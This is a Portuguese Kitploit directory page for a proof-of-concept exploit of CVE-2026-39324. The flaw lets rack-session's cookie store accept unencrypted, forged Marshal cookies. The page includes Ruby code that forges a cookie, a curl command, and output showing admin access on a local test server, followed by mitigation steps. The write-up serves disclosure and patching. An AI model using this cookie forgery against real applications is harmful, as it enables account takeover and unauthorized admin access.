Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/sm1ee/cve-2026-39324
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubsm1ee/cve-2026-39324

CVE-2026-39324

Prova de conceito de exploit para bypass de autenticação em Rack::Cookie (CVE-2026-39324), demonstrando falsificação de sessão via coder de fallback para obter acesso de administrador.

Ver Repositório
há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PoC de Exploração do CVE-2026-39324

Falha de descriptografia do Rack::Session::Cookie recorre à aceitação de cookies não criptografados

AvisoGHSA-33qg-7wpp-89cq
Pacoterack-session (RubyGems)
Afetado<= 2.1.1
Corrigido2.1.2

Resumo

Rack::Session::Cookie com secrets: deve aceitar apenas cookies criptografados. Mas quando a descriptografia falha, ele não rejeita o cookie — ele recorre ao codificador padrão Base64::Marshal.

Um atacante pode enviar um cookie simples Base64(Marshal.dump(...)) e o servidor o aceita como dados de sessão válidos, sem conhecer nenhum segredo.

Condições

  • rack-session <= 2.1.1
  • Rack::Session::Cookie com a opção secrets:
  • O aplicativo usa valores de sessão (user_id, role, etc.) para autorização
  • O atacante pode enviar solicitações HTTP ao alvo

Não afetado:

  • secret: (singular) — usa assinatura HMAC, caminho de código diferente. Apenas secrets: (plural, modo de cookie criptografado) é vulnerável.
  • Rails — usa ActionDispatch::Session::CookieStore, implementação separada.

Causa Raiz

root@kitploit:~
# lib/rack/session/cookie.rb

# O codificador de fallback é sempre criado, independentemente da configuração secrets:
@coder = options[:coder] ||= Base64::Marshal.new

# Tenta descriptografar — todos falham para um cookie não criptografado
encryptors.each do |encryptor|
  session_data = encryptor.decrypt(cookie_data) rescue next
  break
end

# BUG: não rejeita, recorre ao codificador não criptografado
if !session_data && coder
  session_data = coder.decode(cookie_data)  # → Marshal.load(Base64.decode64(...))
end

A falha de descriptografia no caminho secrets: deveria ser terminal. Em vez disso, ele passa o cookie para coder.decode(), então cookies simples são carregados como dados de sessão.

Reprodução

root@kitploit:~
poc/
├── Gemfile      rack-session 2.1.1
├── server.rb    Aplicativo Rack com configuração secrets:
├── verify.rb    Verificação de linha de base (comportamento normal)
└── attack.rb    Falsificação de sessão (a exploração)

Executar

root@kitploit:~
cd poc
bundle install

ruby server.rb &      # inicia o servidor vulnerável
ruby verify.rb        # confirma o comportamento normal
ruby attack.rb        # forja cookie → acesso de administrador

server.rb

Aplicativo Rack usando secrets: para cookies criptografados. Dois usuários: id=1 (regular), id=2 (admin). Apenas user_id é armazenado na sessão; a verificação de admin é uma consulta no lado do servidor.

verify.rb

Confirma que o servidor funciona corretamente:

SolicitaçãoEsperado
GET /admin (sem cookie)403
POST /login?id=1200, cookie criptografado
GET /admin (cookie do usuário id=1)403

attack.rb

Forja um cookie de sessão sem nenhum segredo.

1) Forjar cookie:

root@kitploit:~
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie  = Base64.strict_encode64(Marshal.dump(payload))

2) Fluxo no lado do servidor ao receber o cookie forjado:

root@kitploit:~
encryptor #1 decrypt → HMAC inválido
encryptor #2 decrypt → HMAC inválido
fallback → coder.decode() → Marshal.load → sessão do atacante aceita
→ session["user_id"] = 2 → usuário admin resolvido → 200 OK

Saída

root@kitploit:~
$ ruby attack.rb
--- CVE-2026-39324: Falsificação de Sessão ---
Alvo:  http://127.0.0.1:9416
Payload: {"session_id" => "attacker-forged", "user_id" => 2}
Cookie:  rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH

Erro do criptografador de cookie de sessão: HMAC é inválido   ← encryptor #1 falhou
Erro do criptografador de cookie de sessão: HMAC é inválido   ← encryptor #2 falhou, mas o cookie não foi rejeitado
Status: 200
Corpo:   {"status" => "ok", "message" => "painel de administrador", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}

[!] VULNERÁVEL — user_id=2 forjado aceito, acesso de administrador concedido.

Ambas as verificações HMAC falham, mas o cookie não é rejeitado — o codificador de fallback o aceita e o atacante obtém acesso de admin.

curl

root@kitploit:~
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH

curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'

Mitigação

  1. Atualize rack-session para >= 2.1.2
  2. Gire os segredos de sessão após a atualização — sessões forjadas podem ter sido aceitas e reemitidas antes da correção
Baixar ferramenta